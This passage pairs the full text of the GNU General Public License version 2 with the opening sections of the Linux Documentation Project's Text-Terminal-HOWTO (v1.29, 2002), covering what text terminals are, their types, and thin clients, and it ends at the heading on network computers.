The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software---to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too.

When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.

For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.

We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.

Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.

The precise terms and conditions for copying, distribution and modification follow.

TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  • This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The ``Program'' below, refers to any such program or work, and a ``work based on the Program'' means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term,``modification.'') Each licensee is addressed as ``you.'' Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does.
  • You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.
  • You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: 1. You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. 2. You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. 3. If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.
  • You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: 1. Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, 2. Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, 3. Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.
  • You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
  • You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.
  • Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.
  • If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.
  • If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
  • The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and ``any later version,'' you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation.
  • If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY
  • BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM ``AS IS'' WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
  • IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

END OF TERMS AND CONDITIONS

10.3 How to Apply These Terms to Your New Programs

If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.

To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the ``copyright'' line and a pointer to where the full notice is found.

[one line to give the program's name and an idea of what it does.
Copyright (C) 19[yy]  [name of author]

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
59 Temple Place, Suite 330, Boston, MA 02111-1307, USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this when it starts in an interactive mode:

Gnomovision version 69, Copyright (C) 19[yy] [name of author]
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details
type `show w'.  This is free software, and you are welcome
to redistribute it under certain conditions; type `show c'
for details.

The hypothetical commands ``show w'' and ``show c'' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than ``show w'' and ``show c''; they could even be mouse-clicks or menu items---whatever suits your program.

You should also get your employer (if you work as a programmer) or your school, if any, to sign a ``copyright disclaimer'' for the program, if necessary. Here is a sample; alter the names:

Yoyodyne, Inc., hereby disclaims all copyright
interest in the program `Gnomovision'
(which makes passes at compilers) written
by James Hacker.

[signature of Ty Coon] 1 April 1989
Ty Coon, President of Vice

This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License.


Text-Terminal-HOWTO

David S. Lawyer mailto:dave@lafn.org

v1.29, March 2002

This document explains what text terminals are, how they work, how to install and configure them, and provides some info on how to repair them. If you don't have a terminal manual, it may be of help. While it's written for real terminals on a Linux system, some of it is also applicable to terminal emulation and may be helpful for non-Linux systems.

1. Introduction

  • 1.1 Copyright, Trademarks, Disclaimer, & Credits
  • 1.2 Future Plans: You Can Help
  • 1.3 New Versions of this HOWTO
  • 1.4 Changes in Recent Versions:
  • 1.5 Related HOWTOs, etc.
  • 1.6 Terminology Used in this Document
  • 1.7 What is a Terminal ?

2. Types of Terminals

  • 2.1 Dumb Terminals
  • 2.2 Text Terminals
  • 2.3 Graphic GUI Capabilities of Text Terminals
  • 2.4 Thin Clients (Terminals ?)
  • 2.5 Emulation on a PC

3. Quick Install

4. Why Use a Terminal ?

  • 4.1 Intro to Why Use a Terminal
  • 4.2 Lower Hardware Costs ?
  • 4.3 Control of Software
  • 4.4 Hardware Upgrades
  • 4.5 Other Advantages of Terminals
  • 4.6 Major Disadvantages of Terminals
  • 4.7 Are Text Terminals Obsolete ?

5. Overview of How Terminals Work (in Linux)

  • 5.1 Device Names
  • 5.2 Login/Logout
  • 5.3 Half/Full Duplex
  • 5.4 Terminal Memory
  • 5.5 Commands for the Terminal
  • 5.6 Lack of Standardization Solved by Terminfo
  • 5.7 The Interface
  • 5.8 Emulation
  • 5.9 The Console

6. Terminal Special Files such as /dev/tty

  • 6.1 Serial Port Terminals
  • 6.2 Pseudo Terminals
  • 6.3 The Controlling Terminal /dev/tty
  • 6.4 /dev/ttyIN "Terminals"
  • 6.5 The Console: /dev/ttyN
  • 6.6 Creating a Device with "mknod"

7. Some Details on How Terminals Work

  • 7.1 Terminal Memory Details
  • 7.2 Early Terminals
  • 7.3 Escape Sequences and Control Codes (intro)
  • 7.4 Display Attributes & Magic Cookies

8. Special Features of Some Terminals

  • 8.1 Color
  • 8.2 Multiple Sessions
  • 8.3 Printer/Auxiliary Port
  • 8.4 Pages
  • 8.5 Character-Sets
  • 8.6 Fonts
  • 8.7 Keyboards & Special Keys
  • 8.8 Mouse

9. Terminal Emulation (including the Console)

  • 9.1 Intro to Terminal Emulation
  • 9.2 Don't Use TERM Variable For Emulation
  • 9.3 Communication (Dialing) programs
  • 9.4 Testing Terminal Emulation
  • 9.5 The Linux Console
  • 9.6 Emulation Software

10. Flow Control (Handshaking)

  • 10.1 Why Is Flow Control Needed ?
  • 10.2 Padding
  • 10.3 Overrunning a Serial Port
  • 10.4 Stop Sending
  • 10.5 Keyboard Lock
  • 10.6 Resume Sending
  • 10.7 Hardware Flow Control (RTS/CTS etc.)
  • 10.8 Is Hardware Flow Control Done by Hardware ?
  • 10.9 Obsolete ?? ETX/ACK or ENQ/ACK Flow Control

11. Physical Connection

  • 11.1 Introduction
  • 11.2 Multiport I/O Cards (Adapters)
  • 11.3 Direct Serial Cable Connection.
  • 11.4 Modem Connection
  • 11.5 Telnet
  • 11.6 Terminal Server Connection
  • 11.7 Connector and Adapter Types
  • 11.8 Making or Modifying a Cable

12. Set-Up (Configure) in General

  • 12.1 Intro to Set-Up
  • 12.2 Terminal Set-Up (Configure) Overview
  • 12.3 Computer Set-Up (Configure) Overview
  • 12.4 Many Options
  • 12.5 Communication Interface Options
  • 12.6 Quick Attempt

13. Terminal Set-Up (Configure) Details

  • 13.1 Send Escape Sequences to the Terminal
  • 13.2 Older Terminals Set-Up
  • 13.3 Getting Into Set-Up (Configuration) Mode
  • 13.4 Communication Options
  • 13.5 Saving the Set-up
  • 13.6 Set-Up Options/Parameters
  • 13.7 Emulation {Personality} {{Terminal Modes}}
  • 13.8 Display Options
  • 13.9 Page Related Options
  • 13.10 Reporting and Answerback
  • 13.11 Keyboard Options
  • 13.12 Meaning of Received Control Codes
  • 13.13 Where New Text Goes
  • 13.14 Function Keys
  • 13.15 Block Mode Options
  • 13.16 Locks
  • 13.17 Screen Saver {Scrn Saver}
  • 13.18 Printer

14. Computer Set-Up (Configure) Details

  • 14.1 Getty (used in /etc/inittab)
  • 14.2 Stty & Setserial
  • 14.3 Setserial
  • 14.4 Stty
  • 14.5 Terminfo & Termcap (brief)
  • 14.6 Setting TERM and TERMINFO
  • 14.7 Rarely Needed /etc/ttytype File
  • 14.8 Login Restrictions
  • 14.9 Run Command Only If TERM=my_term_type
  • 14.10 Character Mapping: mapchan

15. Terminfo and Termcap (detailed)

  • 15.1 Intro to Terminfo
  • 15.2 Terminfo Database
  • 15.3 Bugs in Existing Terminfo Files (and Hardware)
  • 15.4 Modifying Terminfo Files
  • 15.5 Init String
  • 15.6 TERM Variable
  • 15.7 Terminfo/Termcap Documents

16. Using the Terminal

  • 16.1 Intro to Using the Terminal
  • 16.2 Starting Up the Terminal
  • 16.3 Terminal (Serial) Device Driver
  • 16.4 Problems with Editors
  • 16.5 Bugs in Bash
  • 16.6 Color ls Corruption
  • 16.7 Display Freezes (hung terminal)
  • 16.8 Corrupted Terminal Interface
  • 16.9 Special (Control) Characters
  • 16.10 Viewing Latin1 Files on a non-Latin1 terminal
  • 16.11 Eliminating Overstriking in Files
  • 16.12 Inspecting the Interface
  • 16.13 Changing the Terminal Settings
  • 16.14 Multiple Sessions
  • 16.15 Logging Out
  • 16.16 Chatting between Terminals, Spying
  • 16.17 Sharing the Serial Port
  • 16.18 Browsers for Terminals

17. Special Uses for a Terminal

  • 17.1 Make a Serial Terminal the Console
  • 17.2 Run Linux without a Monitor
  • 17.3 Use a Keyboardless Terminal as the Monitor

18. Trouble-Shooting

  • 18.1 Terminal Was Working OK
  • 18.2 Terminal Newly Installed
  • 18.3 Is the Terminal OK ?
  • 18.4 Missing Text
  • 18.5 All Keys Work Erratically; Must Hit a Key a Few Times
  • 18.6 ... respawning too fast: disabled for 5 minutes
  • 18.7 Fails Just After Login
  • 18.8 Can't Login
  • 18.9 Garbled Login Prompt
  • 18.10 No Login Prompt
  • 18.11 Displays Foreign/Weird Characters/Symbols
  • 18.12 Displays Escape Sequences
  • 18.13 Slow: pauses of several seconds between bursts of characters
  • 18.14 Terminal doesn't scroll
  • 18.15 Serial Monitoring/Diagnostics
  • 18.16 Local Mode
  • 18.17 Serial Electrical Test Equipment

19. Repair & Diagnose

  • 19.1 Repair Books & Websites
  • 19.2 Safety
  • 19.3 Appearance of Display
  • 19.4 Diagnose
  • 19.5 Detective work
  • 19.6 Error Messages on the Screen
  • 19.7 Capacitors
  • 19.8 Keyboards

20. Appendix A: General

  • 20.1 List of Linux Terminal Commands
  • 20.2 The Internet and Books
  • 20.3 Non-Linux OSs

21. Appendix B: Escape Sequence Commands Terminology

  • 21.1 Esc Sequence List
  • 21.2 8-bit Control Codes
  • 21.3 Printer Esc
  • 21.4 Reports
  • 21.5 Cursor Movements
  • 21.6 Pages (definition)

22. Appendix C: Serial Communications on EIA-232 (RS-232)

  • 22.1 Intro to Serial Communication
  • 22.2 Voltages
  • 22.3 Parity Explained
  • 22.4 Forming a Byte (Framing)
  • 22.5 Limitations of EIA-232
  • 22.6 Synchronization & Synchronous
  • 22.7 Block Mode
  • 22.8 EIA-232 (RS-232) Books
  • 22.9 Serial Software

23. Appendix D: Notes by Brand/Model

  • 23.1 CIT
  • 23.2 IBM Terminals
  • 23.3 Teletypes
  • 23.4 VT (DEC)
  • 23.5 Wyse Terminals


Text-Terminal-HOWTO: Introduction

 Next Previous Contents

1. Introduction

For a quick attempt to install a terminal see Quick Install.

1.1 Copyright, Trademarks, Disclaimer, & Credits

Copyright

Copyright 1998-2001 by David S. Lawyer. mailto:dave@lafn.org

Please freely copy and distribute (sell or give away) this document in any format. Send any corrections and comments to the document maintainer. You may create a derivative work and distribute it provided that you:

  1. If it's not a translation: Email a copy of your derivative work (in a format LDP accepts) to the author(s) and maintainer (could be the same person). If you don't get a response then email the LDP (Linux Documentation Project): submit@linuxdoc.org.
  2. License the derivative work in the spirit of this license or use GPL. Include a copyright notice and at least a pointer to the license used.
  3. Give due credit to previous authors and major contributors.

If you're considering making a derived work other than a translation, it's requested that you discuss your plans with the current maintainer.

Disclaimer

While I haven't intentionally tried to mislead you, there are likely a number of errors in this document. Please let me know about them. Since this is free documentation, it should be obvious that I cannot be held legally responsible for any errors.

Trademarks.

Any brand names (starts with a capital letter) should be assumed to be a trademark). Such trademarks belong to their respective owners.

Credits

Much of the section "Physical Connection" is from Serial-HOWTO v. 1.11 (1997) by Greg Hankins (with his permission). His "How Do I Set Up A Terminal Connected To My PC?" was incorporated into v1.00 at various places. v1.09 has about 25 changes (and error corrections) suggested by Alessandro Rubini who reviewed this HOWTO. Jeremy Jon Spykerman told me about using a keyboardless terminal as a console for a monitorless PC (using ttysnoop). In 2001 (v1.26) I fixed about 25 typos, etc. found by Alain Cochard:

1.2 Future Plans: You Can Help

Please let me know of any errors in facts, opinions, logic, spelling, grammar, clarity, links, etc. But first, if the date is over a few months old, check to see that you have the latest version. Please send me any info that you think belongs in this document.

Starting with version 1.00, a first attempt was made to help people set up terminals without recourse to a terminal manual. Much more is needed in this respect. One way to solve this problem would be for more terminal manufacturers put their manuals on the Internet. Wyse has already done so. I suggest that you encourage others to do so (if they haven't already). The task of providing information on how to configure most terminals in this HOWTO is daunting. There are so many different terminals, but there are far fewer models than there used to be in the 1980,s so the task is not totally infeasible.

Please send me any surplus terminal manuals which you may have, especially on terminals made within the past 10 years (but I'll accept older ones also). Also, you might want to write up something on a certain terminal to put in the Appendix D: Notes by Brand Name.

1.3 New Versions of this HOWTO

New versions of the Text-Terminal-HOWTO should be released every few months or so. They will be available to browse and/or download at LDP mirror sites. For a list of mirror sites see: http://linuxdoc.org/mirrors.html. Various formats are available. If you only want to quickly check the date of the latest version look at http://linuxdoc.org/HOWTO/Text-Terminal-HOWTO.html. The version your are currently reading is: v1.29, March 2002 .

1.4 Changes in Recent Versions:

  • v1.29 Mar. 2002: key-switch spring and bending "contact", getty: Red Hat url, getty: source code -> executable code
  • v1.28 Jan. 2002:Wyse "manuals" online, fixed a few broken links
  • v1.27 Nov. 2001: spell checked, more on stuck keys
  • v1.26 Nov. 2001: text browsers, fixed link to cca.org (was caa.org), about 20 typos fixed
  • v1.25 Oct. 2001: Linux Terminal Server Project, bad line in inittab may cause respawning too rapidly, Evolution of the "terminal server" had contents in title (my format error), eliminating overstrikes in files
  • v1.24 Aug. 2001 Respawning too fast due to no such device, block mode obsolete, troubleshooting: displays escape sequences, detective work for repair
  • v1.23 July 2001: 10-cond. is not RJ45/48 ?, corrupted character attributes
  • v1.22 May 2001 Clarity: 8-bit, ASCII, national replacement characters, CP1252=MS-ANSI
  • v1.21 April 2001 More on mgetty, getty-login sequence, agetty parity problem, types of "terminal servers", parity set shows upper 128 chars., Correction: PCTerm doesn't work with MS DOS, troubleshooting: no CD signal

1.5 Related HOWTOs, etc.

Go to the nearest mirror site (per above) to get HOWTOs.

  • Serial-HOWTO has info on Multiport Serial Cards used for both terminals and banks of modems. It has general technical info on the serial port including troubleshooting it.
  • Low-Level Terminal Interface part of "GNU C Library Reference Manual" (in libc (or glibc) docs package). It covers the detailed meaning of "stty" commands, etc.
  • MacTerminal mini-HOWTO
  • Modem-HOWTO
  • Serial-Programming-HOWTO
  • NC mini-HOWTO
  • NCD-X-Terminal mini-HOWTO
  • XDM-and-X-Terminal mini-HOWTO
  • NCD-HOWTO
  • Thinclient-HOWTO
  • Xterminal-HOWTO (unmaintained). It's at http://ibiblio.unc.edu/pub/Linux/docs/HOWTO/unmaintained/mini/Xterminal

1.6 Terminology Used in this Document

Configuration means the same as set-up. While Linux commands take options (using - or -- symbols), options in a broader sense include various other types of choices. Install in the broad sense includes setting up (configuring) software and hardware. A statement that I suspect is true (but may not be) ends with 2 question marks: ?? If you know for sure, let me know.

1.7 What is a Terminal ?

A terminal consists of a screen and keyboard that one uses to communicate remotely with a (host) computer. One uses it just like it was a personal computer but the terminal is remote from its host computer (on the other side of the room or even on the other side of the world). Programs execute on the host computer but the results display on the terminal screen. Its computational ability is relatively low (otherwise it would be a computer and not a terminal). This computational ability is generally limited to the ability to display what is sent to it (possibly including full-screen graphics) and the ability to send to the host what is typed at the keyboard.

In the days of mainframes from the mid 1970's to the mid 1980's, most people used text terminals to communicate with computers. They typed in programs, ran programs, wrote documents, issued printing commands, etc. A cable connected the terminal to the computer (often indirectly). It was called a terminal since it was located at the terminal end of this cable.

If you've been using Linux (except for X Window use) with a computer monitor and keyboard you already know what a terminal is because you have been using one (or more precisely a "virtual terminal"). The monitor (along with the keyboard) is emulating a terminal. In X Window the programs xterm, rxvt, and zterm emulate terminals.

A real terminal is different from a monitor because it's a different electronic setup. A text terminal is often connected to a serial port of the computer via a long cable. Thus, in contrast to a monitor which is usually located right next to the computer, a terminal may be quite a distance away from its host computer. The video card inside a computer stores the video image seen on the monitor screen. For a terminal, the equivalent of this video card is built right into the terminal but since text terminals are often monochrome without much graphics, the capabilities of its "video card" are rather weak. Also, most text terminals do not have mice.

In network client-server terminology, one might think that the terminal is the client and that the host computer is the server. The terminal has been called a "thin client" by some. But it is not actually a "client" nor is the host a "server". The only "service" the host provides is to receive every letter typed at the keyboard and react to this just like a computer would. The terminal is like a window into the computer just like a monitor (and keyboard) are. You may have already used virtual terminals in Linux (by pressing Left Alt-F2, etc.). A real terminal is just like running such a virtual terminal but you run it on its own terminal screen instead of having to share the monitor screen. In contrast to using a virtual terminal at the console (monitor), this allows another person to sit at the real terminal and use the computer simultaneously with others.


Text-Terminal-HOWTO: Types of Terminals

 Next Previous Contents

2. Types of Terminals

2.1 Dumb Terminals

There are various conflicting definitions of "dumb terminal" but as time goes by, more and more terminals are called dumb. This document mainly covers text terminals which display only text on the screen. It could have been titled "Dumb-Terminal-HOWTO". But in some magazines articles, any terminal, no matter how smart, including ones which present a full graphical user interface (GUI), are called dumb. If all terminals are "dumb" then there is no point of prefixing the word "dumb" to terminal (except as a sales pitch to sell computers or the like in place of "smart" terminals). Due to the ambiguous meaning of "dumb terminal" it is not classified here as a type of terminal.

2.2 Text Terminals

For a text terminal, a 2-way flow of information between the computer and the terminal takes place over the cable that connects them together. This flow is in bytes (such as ASCII) where each byte usually represents a printable character. Bytes typed at the keyboard go to the computer and most bytes from the computer are displayed on the terminal screen. Special control bytes (or sequences of bytes) from the computer tell the terminal where to move the cursor to, what to erase, where to begin and end underlining and/or blinking and/or bold, etc. There are often hundreds of such special commands and most terminals can even change fonts.

The communication uses characters (letters) encoded using a code chart for the character set being used. Usually, the first 128 bytes out of 256 possible bytes use ASCII codes. Terminals for Unix-like systems, normally connect to computers via a cable running between the asynchronous serial ports (RS-232-C = EIA-232-D) of the host computer and terminal. Sometimes the connection is via modem or terminal server, etc.

Other names for text terminals are "dumb terminal", "serial terminal", "character-cell terminal", "character terminal", "ASCII/ANSI terminal", "asynchronous terminal", "data terminal", "video terminal", "video display terminal" (VDT), and "green terminal" (since many used green displays). In olden days "video display unit" (VDU) was used for terminals but strictly speaking, it excludes the keyboard.

"Block mode" was used exclusively by old IBM mainframe terminals but many modern terminals also have this capability (which is not used much). In block mode, the characters you type are temporarily retained in the terminal memory (and may possibly be edited by a built-in editor at the terminal). Then when the send key (or the like) is pressed, a block of characters (sometimes just a line of characters) is sent to the computer all at once. Block mode (as of late 1998) is not supported by Linux. See section Block Mode.

2.3 Graphic GUI Capabilities of Text Terminals

Many text terminals can display bit-mapped images, but not in color. Unfortunately, the popular image formats used on the Internet are not supported. The protocols for terminal graphics include: Tektronix Vector Graphics, ReGIS (DEC), Sixel (DEC), and NAPLPS (North American Presentation Level Protocol Syntax).

Even without bit-mapped images, ordinary text terminals can sort of display images. One may form arrows <--- and draw boxes with _ and |. With special graphic character sets, even more is possible. By using all the letters, one may produce "ascii graphics" art. The term "graphics terminal" usually means a terminal that can display bit mapped images. However, this term is sometimes applied also to text-only terminals since text is a limited form of graphics.

Graphics GUI displays

There are two basic types of graphics displays: raster and vector (rarely used). Raster graphics (bit-mapped) puts dots on the screen by horizontal scan lines drawn by an electron beam (or by activating pixels or dots on a flat screen). Vector graphic displays were intended to be used for monochrome screens that don't have any dots. They use smart electronics to draw lines and curves with an electron beam that can move in any direction (at any angle and location). True vector graphics draws high quality lines without zig-zags but is both rare and expensive. For more details see http://www.cca.org/vector/. Raster graphics is almost universally used today for both PCs and text terminals. For PCs, images encoded in vector graphic format are sometimes used but they are translated to raster graphics format for display (with a resulting drop in image quality).

2.4 Thin Clients (Terminals ?)

Introduction

These are thin (minimal) client computers that behave something like terminals. Since text terminals (except for very old ones) run an embedded operating system, they are also like a computer. Thin-clients need more computing power. In contrast to text-terminals thin clients all display a modern high-speed GUI. They are dependent on more powerful computers (servers) for their operation. For a true thin client terminal, the computing work and disk storage will all be done on the server. At the other extreme, most of this work and storage is done at the thin client but some things such as administration, still depend on the server. Since such a client is not really "thin" it may more correctly be called a "fat client".

Such clients are either sold as a stand-alone piece of hardware or created from an ordinary PC by using software. Linux seems to favor the use of PCs for this purpose.

Some claim that text-terminals are also thin clients but they are not really since they don't conform to the client-server model. However, connecting a terminal via telnet does invoke the client-server model in the use of telnet as a means of transport of data. But the relation of the text-terminal to it's host is not one of client-server. The text-terminal is just another means of access to the computer just like the monitor and its keyboard is. One could apply this same reasoning to a thin client and say that the client-server relationship is only for the transport of data.

Thus a thin client is like a terminal. It has a GUI with a mouse that makes it seem like you are using a computer. You are, but that computer may be far away and have many other people using it at the same time you are. Communication is over a high speed network cable or even over the Internet. Some thin clients can, in addition, emulate a text terminal and have a serial port connector for that purpose. One even has a USB interface.

There are various types of thin clients. One type is the "Window Terminal" which usually runs under MS software and servers. Another type is the "network computer" which is supposed to be platform neutral. This implies they should work with both MS Windows and Linux but early models may not be easy to use with Linux.

Window terminals

These can run under MS Windows NT/2000 using a proprietary protocol. They are true terminals since all the computing work is done by the server running Windows. They are also called "Window-based Terminals" (WBT). Some have support for unix-like systems as well and may not claim to be WBTs (even though they can be used as WBTs). They are something like computers since they run an operating system (often stored in flash memory so it may be updated). Some can support X Window also and can be used for Linux (from a Linux server). Many so called "network computers" can also run X Window. This will be discussed in the next section.

For displaying the MS-Windows GUI, Citrix was (and is) a major player with what was called Winterm using it's WinFrame software (which supported Windows 3.1). Microsoft licensed some of this and then came out with Hydra (code name), also known as "Windows Terminal Server". It works with versions 4 or higher of MS Windows NT. Then other companies that had their own proprietary systems for MS Windows decided to support Microsoft's system.

Citrix uses its ICA protocol and has created an add-on to Hydra known as pICAsso so that WinFrame (ICA) based terminals can use the Hydra system. There exits a ICA client that internally runs Linux (but connects to a MS Window's server). Microsoft has substituted RDP (Remote Desktop Protocol) for ICA. Citrix has replaced WinFrame with MetaFrame which supports Windows 95, etc. and is used in conjunction with "Windows NT Terminal Server Edition".

The above is sometimes called "network computing" since the terminals and servers connect to each other over a network. Network computers may be somewhat different as described below.

Network computers (NCs)

